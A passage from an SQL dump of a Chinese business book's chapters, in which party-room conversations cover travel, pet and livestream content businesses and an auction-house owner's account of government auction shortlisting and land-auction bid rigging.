时间。\n\n我说:\"这就是结构化。\"\n\n\"你把退税做成了一个稳定的流程。\"\n\n\"每个月都知道能退多少,什么时候到账。\"\n\n\"这不是一次性运气,这是结构利润。\"\n\n他说:\"对,我们一开始也是摸索。\"\n\n\"前三个月亏了不少钱。\"\n\n\"但我们把每个节点都记录下来。\"\n\n\"哪里出问题,马上调整。\"\n\n\"三个月之后,流程就稳定了。\"\n\n这本书的真实目的,不是教你怎么成功。\n\n而是告诉你,套利不是故事,是窗口+合规的小样能力。\n\n跨境套利的本质是\"时间差+价格差+规则差\"。\n\n你要做的,是用\"差异三问\"去测,用\"五步路径\"去跑。\n\n先跑小样,确定合规与可复用,再谈规模。\n\n窗口不同了,但方法还在。\n', 1446, 0, 1.00, 14, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.616', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (24, '4.1', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '旅游号:30天10万粉的真实逻辑', '# 4.1 旅游号:30天10万粉的真实逻辑\n\n\"做旅游号,30天涨10万粉,听起来很厉害,但背后的逻辑其实很简单。\"\n\n2025年11月6日,周四,早上6点45分。\n\n那天派对房里来了个做旅游自媒体的,语气很自信。\n\n他说他三年前开始做旅游号,现在全网粉丝过百万。\n\n我问:\"你是怎么起步的?\"\n\n他说:\"很简单,就是死磕一个平台,一个类型的内容。\"\n\n---\n\n派对房里,有人问:\"能具体讲讲吗?\"\n\n他说:\"好,我给你们讲一下我当时的做法。\"\n\n\"我一开始选的是抖音,因为抖音的流量最大。\"\n\n\"然后我选的是\'景点攻略\'这个类型,因为这个类型的需求最稳定。\"\n\n---\n\n他继续说。\n\n\"你想想,每天有多少人在抖音上搜\'某某景点怎么玩\'、\'某某城市攻略\'?\"\n\n\"这些人都是有明确需求的,他们不是随便刷刷,他们是真的要去旅游。\"\n\n\"所以这类内容的转化率特别高。\"\n\n---\n\n我问:\"那你的内容是怎么做的?\"\n\n他说:\"我当时的做法是\'批量生产\'。\"\n\n\"我不是自己去每个景点拍,那太慢了。\"\n\n\"我是收集网上的素材,然后重新剪辑、配音、加字幕。\"\n\n---\n\n派对房里,有人说:\"这不是搬运吗?\"\n\n他说:\"不完全是。\"\n\n\"搬运是直接复制别人的视频。\"\n\n\"我做的是二次创作,我会加入自己的解说、自己的观点、自己的信息整合。\"\n\n\"比如一个景点,我会把门票价格、最佳游玩时间、避坑指南、周边美食都整合在一起。\"\n\n\"这些信息可能来自十几个不同的来源,但我把它们整合成一个完整的攻略。\"\n\n---\n\n他停了一下。\n\n\"这种内容的价值在哪里?\"\n\n\"在于节省用户的时间。\"\n\n\"用户不用自己去搜十几个视频、十几篇文章,看我一个视频就够了。\"\n\n---\n\n我问:\"那你一天能产出多少条?\"\n\n他说:\"最高的时候,一天十几条。\"\n\n\"因为我有一套标准化的流程。\"\n\n\"选题、找素材、写文案、剪辑、配音、发布,每个环节都有固定的模板和工具。\"\n\n---\n\n派对房里,有人问:\"那你是怎么涨到10万粉的?\"\n\n他说:\"靠的是\'爆款思维\'。\"\n\n\"我不追求每条视频都火,我追求的是每十条里面有一条能爆。\"\n\n\"只要有一条爆了,就能带动整个账号的流量。\"\n\n---\n\n他继续说。\n\n\"怎么做爆款?\"\n\n\"第一,选对话题。热门景点、热门城市、热门时间节点,这些话题天然有流量。\"\n\n\"第二,标题要抓人。\'去某某景点千万别做这三件事\'、\'某某城市最坑的五个地方\',这种标题点击率高。\"\n\n\"第三,前三秒要留人。用户刷到你的视频,前三秒决定他会不会看下去。\"\n\n---\n\n我问:\"那你现在怎么变现?\"\n\n他说:\"主要是三个渠道。\"\n\n\"第一,平台分成。抖音、小红书、B站都有创作者激励计划,有播放量就有收入。\"\n\n\"第二,广告合作。旅游相关的品牌会找我做推广,一条视频几千到几万不等。\"\n\n\"第三,带货。我会推荐一些旅游相关的产品,比如行李箱、旅行装备、酒店预订,赚佣金。\"\n\n---\n\n派对房里,有人问:\"那现在做旅游号还有机会吗?\"\n\n他说:\"有,但比以前难了。\"\n\n\"以前是蓝海,现在是红海。\"\n\n\"你想脱颖而出,要么内容质量特别高,要么有独特的定位。\"\n\n---\n\n他继续说。\n\n\"比如你可以做\'小众目的地\',专门介绍那些不太出名但很值得去的地方。\"\n\n\"比如你可以做\'深度体验\',不是走马观花式的攻略,而是真正深入当地的生活。\"\n\n\"比如你可以做\'人设型\',让用户记住你这个人,而不只是你的内容。\"\n\n---\n\n那天聊完,我在派对房里总结了一下。\n\n\"刚才这位老板的经历,给了我们几个启示。\"\n\n\"第一,选对赛道比努力更重要。他选了旅游这个赛道,需求稳定、变现清晰。\"\n\n\"第二,标准化是规模化的前提。他能一天产出十几条内容,靠的是标准化流程。\"\n\n\"第三,爆款思维比平均思维更有效。不追求每条都火,追求偶尔能爆。\"\n\n---\n\n这本书的真实目的,不是教你去做旅游号。\n\n而是告诉你,任何一个赛道,都有它的底层逻辑。\n\n旅游号的底层逻辑是什么?\n\n第一,满足用户的信息需求。\n\n第二,用标准化提高效率。\n\n第三,用爆款撬动流量。\n\n理解了这些逻辑,你做任何内容都能找到方向。\n', 1577, 0, 1.00, 15, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.628', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (25, '4.2', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '做号工厂:如何让一个号变成一个机器', '# 4.2 做号工厂:如何让一个号变成一个机器\n\n稳定不是人多,是流程能复盘能按时。\n\n2025年11月9日,周日,早上7点15分。\n\n那天的派对房话题聊到了内容生产,一个内容运营上麦吐槽。\n\n他说:“卡若,我一个人做一个号,每天都很累,时好时坏。”\n\n我说:“把号变成‘机器’,不是把人变多。”\n\n“是把流程变好。”\n\n——\n\n我们第二天线下见面,在公司会议室。\n\n我让他把“做一条内容”的所有动作写出来。\n\n选题、脚本、拍摄、剪辑、字幕、封面、发布、复盘。\n\n八个动作。\n\n我说:“从今天开始,你不再做‘八件事’。”\n\n“你只做‘三件事’。”\n\n“其余五件,交给‘机器’。”\n\n——\n\n什么是机器?\n\n素材池、模板库、热键表、发布看板、复盘报表。\n\n素材池把“风景/路线/价格/互动”四类素材分门别类。\n\n模板库把“开场/字幕/封面/标题”固定成可复用模板。\n\n热键表让剪辑从“手艺活”变成“机械执行”。\n\n发布看板固定“时间/频次/主题/结构”。\n\n复盘报表只看“停留/完播/评论/私信”。\n\n——\n\n派对房里有人问:“这不就是 SOP 吗?”\n\n我说:“不是只有 SOP。”\n\n“还有‘岗位拆分’。”\n\n一个人也能做岗位拆分。\n\n人做三件事:选题、脚本、复盘。\n\n机器做五件事:拍摄、剪辑、字幕、封面、发布。\n\n“人负责决定做什么与如何更好。”\n\n“机器负责把既定的事做完且做对。”\n\n——\n\n他问:“怎么开始?”\n\n我给他一个“七天装机计划”。\n\n第一天,搭素材池。\n\n把过去三个月的素材分四类,每类挑 50 条入库。\n\n第二天,搭模板库。\n\n开场/字幕/封面/标题各做 5 个模板,命名统一。\n\n第三天,写热键表。\n\n剪辑软件统一热键,贴在键盘旁边。\n\n第四天,建发布看板。\n\n固定“三条/每日/三时段/统一主题不同结构”。\n\n第五天,建复盘报表。\n\n每晚填“停留/完播/评论/私信”四项,只改最短段。\n\n第六天,跑一次流水线。\n\n早上写选题与脚本,中午拍摄,下午剪辑,晚上发布与复盘。\n\n第七天,只做“改短段与改模板”。\n\n——\n\n两周后,他在派对房复盘。\n\n“我每天不再焦虑‘拍不完’。”\n\n“我只焦虑‘选题够不够好’。”\n\n“我知道机器会把事情做完。”\n\n我说:“这就是‘做号工厂’。”\n\n“不是把人变多,是把不稳定变稳定。”\n\n——\n\n另一个做内容的朋友上麦补充。\n\n他说:“我们公司用‘质检员’。”\n\n“专门检查开场是否冲击,第 8 秒是否反转,结尾是否有召唤。”\n\n“只要这三件过了,播放就不会差。”\n\n我点头。\n\n“做号工厂必须有‘质检点’。”\n\n——\n\n这是一张“做号工厂清单”。\n\n1. 人做三件:选题/脚本/复盘。\n\n2. 机器做五件:拍摄/剪辑/字幕/封面/发布。\n\n3. 素材池四类入库 200 条,模板库四类各 5 个。\n\n4. 发布看板固定‘三条/每日/三时段/统一主题不同结构’。\n\n5. 复盘报表只看四项,每天只改最短段。\n\n6. 设置三处质检点:开场冲击/第 8 秒反转/结尾召唤。\n\n7. 每周模板升级一次,旧模板归档可复用。\n\n——\n\n线下怎么落地?我们在会议室拿白板分三块:\n\n- 人:只做选题/脚本/复盘,把“想”变成模板;\n- 机器:拍摄/剪辑/字幕/封面/发布,把“做”变成流水线;\n- 中台:表单→工单→节点SLA→复盘→质检,把“按时”变成曲线。\n\n白板要写人话:谁负责、几点办、办到什么程度。当天办完划掉,当日18:00前回填看板。\n\n——\n\n提示怎么说人话?三句就够:\n\n1. 当前待办事项(今天的视频先出三条); \n2. 今日时间分配(早写/中拍/下午剪/晚上发与复盘); \n3. 验收标准说明(停留/完播/评论/私信四项)。\n\n三句说完,当场给清单与时间,不要留模糊。\n\n——\n\n“今天三事”原则(当日可闭环):\n\n- 模板侧:写 20 条开场/反转/承诺句式,当天用 3 条;\n- 流水线侧:早写/中拍/下午剪/晚上发与复盘;\n- 中台侧:录入表单、派发工单、抽检节点、回填看板。\n\n晚复盘需标注“最优/最差段落”,只改最短段与最拖延段。\n\n——\n\n节点怎么写?只写三件:\n\n- 触发条件:什么时候算进来(脚本完成/拍摄完成/剪辑完成/发布完成);\n- 时间与责任:谁做、几点做、做到什么程度;\n- 验收标准:谁看、看什么、在哪个时间看。\n\n每个节点要能验、能追、能复盘。\n\n——\n\n抽检怎么做?每周随机 50 条,只看三项:\n\n- 是否按时:响应/处理/跟进的SLA时间是否到位;\n- 是否到位:动作是否完成、素材是否齐全;\n- 是否回写:看板是否回填、改法是否写清。\n\n不过线的节点,强制人工接管,下周再抽检。\n\n——\n\n异常接管单四要素:\n\n- 接管人/接管时间/处理方案(止损→补做→回写)/验收方式(谁验/何时验/怎么记)。\n\n——\n\n曲线怎么报?四张就够(7选4):\n\n- 内容停留时长曲线;\n- 按时完成率曲线(节点SLA);\n- 承诺兑现率曲线(召唤落地);\n- 复购增长率曲线(留存)。\n\n每周出报,每月复盘“最拖延的段”。\n\n——\n\n培训怎么落地?只讲“要点+跑一次”。\n\n- 要点:岗位拆分/模板库与素材池/三处质检点/提示三句与今天三事/节点与抽检/接管单/曲线;\n- 跑一次:每个岗位跑一条工单,自己做、同伴看、质检再看,最后回填“做到了没”。\n\n第二天复盘,不合格补练,合格才上线。\n', 1971, 0, 1.00, 16, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.639', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (26, '4.3', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '情绪内容为什么比专业内容更赚钱', '# 4.3 情绪内容为什么比专业内容更赚钱\n\n先拉住,再带走;感受挂住了,专业才有用。\n\n2025年11月13日,周四,早上6点50分。\n\n那天聊到了内容创作的核心,一个做知识号的朋友上麦。\n\n他说:\"卡若,我讲得很专业,但播放和转化都一般。\"\n\n我说:\"因为你讲的是\'知识\',平台要的是\'感受\'。\"\n\n\"不是不需要专业。\"\n\n\"是专业必须挂在情绪上。\"\n\n---\n\n**情绪内容为什么更赚钱?**\n\n因为人刷手机不是来学习的。\n\n是来\"被理解\"和\"被安慰\"的。\n\n你让他被理解,他留下来。\n\n你让他被安慰,他付钱。\n\n---\n\n我们第二天线下见面。\n\n在咖啡馆,我让他把一个专业视频的脚本拿出来。\n\n我只做两处改动。\n\n第一行从\"今天讲三种提升方法\"改成\"你是不是也在焦虑\'越努力越没用\'?\"\n\n最后一行从\"留言交流\"改成\"我把\'能当下用的三步\'做成了清单,评论拿走。\"\n\n播放上来,互动也上来。\n\n---\n\n**情绪不是煽情。**\n\n是打中\"当下的感受\"。\n\n焦虑、内耗、迷茫、无力。\n\n每一种感受都能挂在专业上。\n\n- 你讲效率,挂在\"内耗\"上。\n- 你讲方法,挂在\"迷茫\"上。\n- 你讲系统,挂在\"无力\"上。\n\n---\n\n派对房里有人问:\"这样会不会\'不专业\'?\"\n\n我说:\"不。\"\n\n\"专业是骨架,情绪是外衣。\"\n\n\"没有骨架就耍嘴皮,没有外衣就没人看。\"\n\n---\n\n我给他一个**\"情绪挂载表\"**。\n\n| 情绪类型 | 对应专业 | 开场句式 |\n|---------|---------|---------|\n| 焦虑 | 效率 | \"你是不是总觉得时间不够用?\" |\n| 内耗 | 方法 | \"你是不是越努力越累?\" |\n| 迷茫 | 系统 | \"你是不是不知道该往哪走?\" |\n| 无力 | 案例 | \"你是不是觉得怎么做都没用?\" |\n\n把一条视频的开场挂在对应情绪。\n\n把结尾挂在\"当下可用的动作\"。\n\n中间用一个真实人的一句话,做\"被理解\"的证据。\n\n---\n\n两周后,他在派对房复盘。\n\n\"我从每天3000播放到现在每天4—6万。\"\n\n\"转化也提升了,因为\'当下可用的清单\'可拿走。\"\n\n我说:\"情绪是\'拉住\',专业是\'带走\'。\"\n\n\"两者合在一起,才叫\'能赚钱的内容\'。\"\n\n---\n\n另一个做情绪号的朋友上麦补充。\n\n她说:\"我们公司有一个\'共鸣句库\'。\"\n\n\"每个视频必须出现一句\'你是不是…\'或者\'我懂…\'。\"\n\n\"出现一次,停留就会提升。\"\n\n我点头。\n\n\"共鸣句是\'情绪挂载\'的最短路径。\"\n\n---\n\n**\"情绪内容\"清单:**\n\n1. 开场挂在四类情绪之一,句式用\"你是不是…\"。\n2. 中间放一句真实人的话,做\"被理解\"证据。\n3. 结尾给\"当下可用\"的动作清单,评论拿走。\n4. 全片只讲1个专业点,不要塞满。\n5. 每晚复盘停留与评论关键词,写进\"共鸣句库\"。\n6. 每周升级一次\"挂载表\",让专业挂在更精准的情绪上。\n\n专业是骨架,情绪是外衣。\n\n没有骨架,内容空洞;没有外衣,没人愿意看。\n\n两者结合,才是能赚钱的内容。\n', 1123, 0, 1.00, 17, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.651', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (27, '4.4', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '猫与宠物号:为什么宠物赛道永不过时', '# 4.4 猫与宠物号:为什么宠物赛道永不过时\n\n宠物不是内容,是关系与陪伴的结构。\n\n2025年11月16日,周日,早上7点28分。\n\n那天派对房里来了位做猫号的朋友,语气有点纠结。\n\n他说:“卡若,猫号现在还行吗?感觉很多人做。”\n\n我说:“宠物赛道不会过时。”\n\n“因为人会为‘情感’付费。”\n\n——\n\n宠物号的逻辑,不是“可爱”。\n\n是“关系”。\n\n你让用户觉得你懂它和它的宠物,\n\n你就能建立长期关系。\n\n长期关系,才有复购。\n\n——\n\n我们第二天线下见面,在宠物店。\n\n我让他把内容拆成四类。\n\n日常、护理、训练、情感。\n\n日常负责陪伴。\n\n护理负责解决问题。\n\n训练负责进步与成就感。\n\n情感负责连接与故事。\n\n四类内容,是宠物号的“基本盘”。\n\n——\n\n派对房里有人问:“怎么变现?”\n\n我说:“不是靠一次直播卖完。”\n\n“是靠‘服务—复购’。”\n\n宠物护理包、训练打卡、情感社群、线下联名。\n\n每一条都是服务,\n\n服务才有复购。\n\n——\n\n我给他一个“30 天宠物号计划”。\n\n第一周,做‘日常+情感’陪伴内容,每天三条。\n\n第二周,做‘护理’解决问题内容,每条给“当下可用清单”。\n\n第三周,做‘训练’打卡内容,设置“七天打卡挑战”。\n\n第四周,做‘社群服务’内容,引导进群,群里有“护理包与训练计划”。\n\n——\n\n两周后,他在派对房复盘。\n\n“进群 300 人,护理包卖了 60 份。”\n\n“训练打卡每天有人发视频。”\n\n我说:“这就是宠物号的‘服务利润’。”\n\n“不是一次性卖货,是长期的关系与服务。”\n\n——\n\n另一个朋友上麦补充。\n\n她说:“我们猫号的复购,来自‘定期护理包’。”\n\n“每月一次,包括清洁、驱虫、营养建议。”\n\n“复购比卖一次猫粮更稳定。”\n\n我点头。\n\n“把‘服务’做成‘包’,复购就稳定了。”\n\n——\n\n这是一张“宠物号清单”。\n\n1. 四类内容为基本盘:日常/护理/训练/情感。\n\n2. 变现靠‘服务—复购’,而不是一次性卖货。\n\n3. 护理包与训练计划做成‘清单+打卡’,提升留存。\n\n4. 建社群与线下联名,用关系增强信任与复购。\n\n5. 每周复盘哪一类内容带来最多互动与转化,加倍投入。\n\n——\n\n线下怎么落地?我们在宠物店拿白板分三块:\n\n- 内容四类:日常/护理/训练/情感;\n- 服务四包:护理包/训练计划/社群服务/线下联名;\n- 看板与曲线:节点/责任人/时段与SLA/到账与复购曲线。\n\n白板要写人话:谁负责、几点办、办到什么程度。当天办完划掉,当日18:00前回填看板。\n\n——\n\n提示怎么说人话?三句就够:\n\n1. 当前待办事项(今天先做‘日常+情感’三条); \n2. 今日时间分配(早拍日常/午拍护理/晚发布与复盘); \n3. 验收标准说明(看停留/评论关键词/进群与下单)。\n\n——\n\n“今天三事”原则(当日可闭环):\n\n- 发布三条陪伴内容并引导进群;\n- 给护理‘当下可用清单’并约时间;\n- 推出训练‘七天打卡挑战’并设置验收。\n\n晚复盘标注“最优/最差段落”,只改最短段与最拖延段。\n\n——\n\n节点三件与抽检:\n\n- 触发条件(进群/下单/打卡开始);\n- 时间与责任(谁做/几点做/做到什么程度);\n- 验收标准(谁看/看什么/在哪个时间看);\n- 每周随机抽检50条(按时/到位/回写),不过线强制接管。\n\n——\n\n异常接管单四要素:\n\n- 接管人/接管时间/处理方案(止损→补做→回写)/验收方式(谁验/何时验/怎么记)。\n\n——\n\n曲线怎么报?四张就够(7选4):\n\n- 内容停留时长曲线;\n- 约见转化率曲线;\n- 复购增长率曲线(护理包/训练计划);\n- 客户满意度曲线。\n\n每周出报,每月复盘“最拖延的段”。\n', 1359, 0, 1.00, 18, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.662', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (28, '4.5', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '直播间里的三种人:演员、技术工、系统流', '# 4.5 直播间里的三种人:演员、技术工、系统流\n\n稳定不是天赋,是你知道自己该做哪一种事。\n\n2025年11月19日,周三,早上7点35分。\n\n那天派对房聊到了直播变现,一个做直播的小伙伴上麦吐苦水。\n\n他说:“卡若,我直播不稳定,有时候爆,有时候掉。”\n\n我说:“你是哪一种人?”\n\n他愣了。\n\n“直播间里有三种人。”\n\n“演员、技术工、系统流。”\n\n——\n\n演员,靠表现力。\n\n镜头感强、情绪感染强、控场能力强。\n\n技术工,靠产品力。\n\n懂参数、懂比较、懂使用场景,能讲出‘为什么值’。\n\n系统流,靠流程与团队。\n\n人货场统一、流程稳定、数据驱动,把直播变成“生产线”。\n\n——\n\n派对房里有人问:“哪一种最赚钱?”\n\n我说:“系统流。”\n\n“因为系统可以复制。”\n\n“演员和技术工,复制难。”\n\n——\n\n我们第二天线下见面,在公司直播间。\n\n我让他把直播流程从进场到收尾写出来。\n\n开场 3 分钟、产品讲解、对比演示、答疑、召唤与收尾。\n\n我说:“找出三个固定‘卡点’。”\n\n“开场的冲击句,对比演示的‘惊讶点’,收尾的‘承诺’。”\n\n每一场都一样。\n\n只换产品,不换流程。\n\n——\n\n两周后,他在派对房复盘。\n\n“我把‘惊讶点’固定成‘现场对比’。”\n\n“每次都能拉住 30 秒的停留。”\n\n“收尾承诺固定成‘48 小时跟进与售后清单’。”\n\n“成交也稳定了。”\n\n我说:“这就是系统流的优势。”\n\n“可复制、可复盘、可升级。”\n\n——\n\n另一个做直播的朋友上麦补充。\n\n他说:“我们团队的分工是‘演员+技术工+流程官’。”\n\n“演员负责控场与情绪。”\n\n“技术工负责产品‘为什么值’。”\n\n“流程官负责节奏与数据。”\n\n“三者一起,稳定性就出来了。”\n\n我点头。\n\n“人不能单打独斗。”\n\n“直播更要‘岗位配套’。”\n\n——\n\n这是一张“直播系统清单”。\n\n1. 明确你是演员/技术工/系统流,或三者配套的团队。\n\n2. 固定三个卡点:开场冲击句/对比演示‘惊讶点’/收尾承诺。\n\n3. 流程不换,只换产品;每场复盘‘停留与成交’两项。\n\n4. 配置流程官,用数据驱动节奏与优化。\n\n5. 售后清单与 48 小时跟进,把“情绪成交”变成“结构复购”。\n\n——\n\n线下怎么落地?我们在直播间拿白板分三块:\n\n- 人:演员/技术工/流程官分工;\n- 流程:固定三卡点(开场冲击句/对比演示‘惊讶点’/收尾承诺),流程不换只换产品;\n- 中台:表单→工单→节点SLA→复盘→质检,把“按时与兑现”画成曲线。\n\n白板要写人话:谁负责、几点办、办到什么程度。当天办完划掉,当日18:00前回填看板。\n\n——\n\n提示怎么说人话?三句就够:\n\n1. 当前待办事项(今天三场分别固定三卡点); \n2. 今日时间分配(开场3分钟/产品讲解/对比演示/答疑/召唤与收尾); \n3. 验收标准说明(停留30秒/承诺兑现/48小时售后清单回填)。\n\n——\n\n“今天三事”原则(当日可闭环):\n\n- 固定三卡点并发布;\n- 数据复盘‘停留与成交’两项;\n- 售后清单与48小时跟进完成回填。\n\n晚复盘标注“最优/最差段落”,只改最短段与最拖延段。\n\n——\n\n节点三件与抽检:\n\n- 触发条件(开场/对比演示/收尾承诺启动);\n- 时间与责任(谁做/几点做/做到什么程度);\n- 验收标准(谁看/看什么/在哪个时间看);\n- 每周随机抽检50条(按时/到位/回写),不过线强制接管。\n\n——\n\n异常接管单四要素:\n\n- 接管人/接管时间/处理方案(止损→补做→回写)/验收方式(谁验/何时验/怎么记)。\n\n——\n\n曲线怎么报?四张就够(7选4):\n\n- 内容停留时长曲线;\n- 按时完成率曲线(节点SLA);\n- 承诺兑现率曲线;\n- 约见转化率或成交率曲线。\n\n每周出报,每月复盘“最拖延的部分”。\n', 1399, 0, 1.00, 19, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.673', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (29, '5.1', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '拍卖行抱朴:一天240万的摇号生意', '# 5.1 拍卖行抱朴:一天240万的摇号生意\n\n\"我最赚钱的一天,挣了240万。一块地1.2个亿,拿2%的佣金,就这么舒服。\"\n\n2025年11月27日,周四,早上7点16分。\n\nSoul派对房里,抱朴开始分享他的拍卖行生意。\n\n他是我的老朋友,做了十几年拍卖。\n\n我们聊起\"最赚钱的一个月做的是什么\",他说他的不是一个月,是一天。\n\n---\n\n派对房里,有人问:\"一天240万?怎么做到的?\"\n\n抱朴说:\"我有一家拍卖公司。\"\n\n\"那天高院摇号,摇到我了。\"\n\n\"一块土地,底价1.2个亿。\"\n\n\"拍卖公司收2%的佣金,就是240万。\"\n\n他笑了。\n\n\"挣了这笔钱之后,我们公司唱了三天歌。\"\n\n---\n\n派对房里,有人说:\"等等,什么叫摇号?\"\n\n抱朴解释道:\n\n\"拍卖公司想拿政府的活,不是随便就能拿的。\"\n\n\"你要先入围。\"\n\n\"比如河南省高院,每一两年会选库。\"\n\n\"什么叫选库?就是从全省的拍卖公司里,选30家进入他的库。\"\n\n\"你要投标、评分、竞争,才能进去。\"\n\n---\n\n他继续说。\n\n\"进了库之后,有土地要拍、有资产要拍,就从这30家里摇号。\"\n\n\"摇到谁,谁就拿这个活。\"\n\n\"这个很公平,谁也做不了假。\"\n\n\"抓阄的,抓到3号就是3号。\"\n\n---\n\n派对房里,有人问:\"那你是怎么进的库?\"\n\n抱朴说:\"这个就有故事了。\"\n\n\"我最开始做的是文物拍卖。\"\n\n\"卖齐白石、张大千的画,收25%的佣金。\"\n\n\"文物拍卖资质要1000万实缴,一个拍卖师。\"\n\n他停了一下。\n\n\"后来我听说还有一个叫公务拍卖资质。\"\n\n\"公务,就是公家的意思。\"\n\n\"这个资质需要500万实缴,两个拍卖师。\"\n\n---\n\n他继续说。\n\n\"我当时想,反正我已经有拍卖公司了,不如再申请一个公务拍卖资质,万一有用呢。\"\n\n\"就跑去商务厅问,怎么申请。\"\n\n\"他们说你注册资金够了,再买一个拍卖师就行。\"\n\n派对房里,有人问:\"拍卖师证值钱吗?\"\n\n抱朴笑了。\n\n\"十年前,一个拍卖师证一年挂靠费3万块。\"\n\n\"你啥都不用干,就考一个证,挂到拍卖公司,一年就拿3万。\"\n\n\"现在便宜点了,也得1万多。\"\n\n---\n\n他继续说。\n\n\"我拿到公务拍卖资质之后,就不知道怎么接活了。\"\n\n\"因为我之前只做文物拍卖,不懂这个。\"\n\n\"后来我请了一个队伍,专门跑公共资源交易中心。\"\n\n---\n\n派对房里,有人问:\"公共资源交易中心是什么?\"\n\n抱朴说:\"这是一个新部门。\"\n\n\"大概十年前成立的,专门帮政府买东西和卖东西。\"\n\n\"实权派的部门,省里有,市里有,县里也有。\"\n\n\"你拍卖公司想拿政府的活,就要去这个部门入围。\"\n\n---\n\n他继续说。\n\n\"我派了一个队伍,把每个地方的公共资源交易中心都入围了。\"\n\n\"法院也入围。\"\n\n\"入围之后就等着摇号。\"\n\n\"有一天,终于摇到我了。\"\n\n\"河南周口鹿邑的一块土地,1.2亿底价。\"\n\n---\n\n派对房里,有人问:\"那你怎么操作这个拍卖的?\"\n\n抱朴说:\"说实话,我当时不太懂。\"\n\n\"但学很容易的。\"\n\n\"打个电话,人家都过来教你。\"\n\n\"我们几个人去鹿邑看了那块地,花几千块钱租了个场地。\"\n\n\"然后就开始操作了。\"\n\n---\n\n他讲了一个有意思的细节。\n\n\"土地底价1亿,押金600万。\"\n\n\"有个大哥要买这块地,跑过来问我:有人办牌没有?\"\n\n\"一个小时问我一次,甚至半个小时问我一次。\"\n\n\"什么意思呢?他怕有人跟他抢。\"\n\n\"如果没人跟他抢,他就按底价拿。\"\n\n\"如果有人抢,他就要准备加价。\"\n\n---\n\n派对房里,有人问:\"那最后拍了多少?\"\n\n抱朴说:\"具体数字我不说了。\"\n\n\"反正我拿了2%的佣金,240万。\"\n\n\"这就是一天的事情。\"\n\n---\n\n那天聊完,已经快9点了。\n\n派对房里有人说:\"原来拍卖行是这么玩的。\"\n\n抱朴说:\"拍卖行的核心不是拍卖师在台上喊价。\"\n\n\"核心是入围、摇号、后端的规则。\"\n\n\"你入不了围,什么都白搭。\"\n\n\"你入了围,就等着摇号。\"\n\n\"摇到了,就是一大笔钱。\"\n\n---\n\n早上9点15分,抱朴说他要出门了。\n\n临走前他说:\"其实我还错过了更大的机会。\"\n\n我问:\"什么机会?\"\n\n他说:\"有一次,有个上市公司找我拍不良资产。\"\n\n\"一个标的,佣金能有一个亿。\"\n\n\"但当时淘宝拍卖起来了,把我们搅黄了。\"\n\n\"那一个亿,我没拿到。\"\n\n派对房里,一阵沉默。\n\n我说:\"机会永远在,但窗口不等人。\"\n\n\"能抓住的就抓,抓不住的就复盘。\"\n\n\"下一次,准备得更好就行了。\"\n', 1675, 0, 1.00, 21, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.696', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (30, '5.2', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '土地拍卖:招拍挂背后的游戏规则', '# 5.2 土地拍卖:招拍挂背后的游戏规则\n\n\"土地要想卖给老百姓,必须通过三种方式:招标、拍卖、挂牌。这叫招拍挂。\"\n\n2025年11月27日,周四,早上7点45分。\n\nSoul派对房里,抱朴继续讲他的拍卖行故事。\n\n这一段,讲的是土地拍卖。\n\n---\n\n他说:\"招标和拍卖,都是公开、公正、公平的。\"\n\n\"只有挂牌,灰色收入比较多。\"\n\n\"你挂牌,说不出来为什么给他。\"\n\n\"因为它不公开。\"\n\n---\n\n派对房里,有人问:\"那政府为什么还要挂牌?\"\n\n抱朴说:\"以前操作空间大。\"\n\n\"但后来政府也很生气。\"\n\n\"就下了一个文,河南省国土厅下的。\"\n\n\"所有土地,必须经过招拍挂。\"\n\n\"至少30%的土地,要先由拍卖公司拍卖。\"\n\n---\n\n他继续说。\n\n\"为什么要这样?\"\n\n\"就是不让人作假。\"\n\n\"该多少钱,都交给政府。\"\n\n\"你们别想在中间捞油水。\"\n\n---\n\n派对房里,有人问:\"那拍卖就没有猫腻了?\"\n\n抱朴笑了。\n\n\"你问得好。\"\n\n\"拍卖有一个东西,叫围标。\"\n\n---\n\n他解释道。\n\n\"什么叫围标?\"\n\n\"比如一块地,底价1个亿。\"\n\n\"正常情况下,好几家开发商来竞争,价格会被抬上去。\"\n\n\"但如果这几家开发商提前商量好了呢?\"\n\n\"大家都不举牌,只有一家举牌。\"\n\n\"那他就按底价拿了。\"\n\n---\n\n派对房里,有人说:\"这不是串通吗?\"\n\n抱朴说:\"对,这就叫围标。\"\n\n\"但你很难查。\"\n\n\"因为大家只是\'碰巧\'都没举牌。\"\n\n\"你说他们串通,他们不承认。\"\n\n---\n\n他讲了一个细节。\n\n\"以前有些地方,开发商之间会打招呼。\"\n\n\"你这块地我要,你别来。\"\n\n\"下次那块地你要,我不去。\"\n\n\"大家轮流拿,都按底价。\"\n\n\"皆大欢喜。\"\n\n---\n\n派对房里,有人问:\"那政府不管吗?\"\n\n抱朴说:\"管啊。\"\n\n\"后来就有了一些规定。\"\n\n\"比如押金要交600万。\"\n\n\"你来参加拍卖,先交押金。\"\n\n\"这样乱举牌的成本就高了。\"\n\n---\n\n他继续说。\n\n\"还有一个办法,就是保底价不公开。\"\n\n\"你不知道底价是多少。\"\n\n\"大家都按自己的估价来出价。\"\n\n\"这样围标就难了。\"\n\n---\n\n派对房里,有人问:\"那现在还有围标吗?\"\n\n抱朴想了一下。\n\n\"少了,但没完全没有。\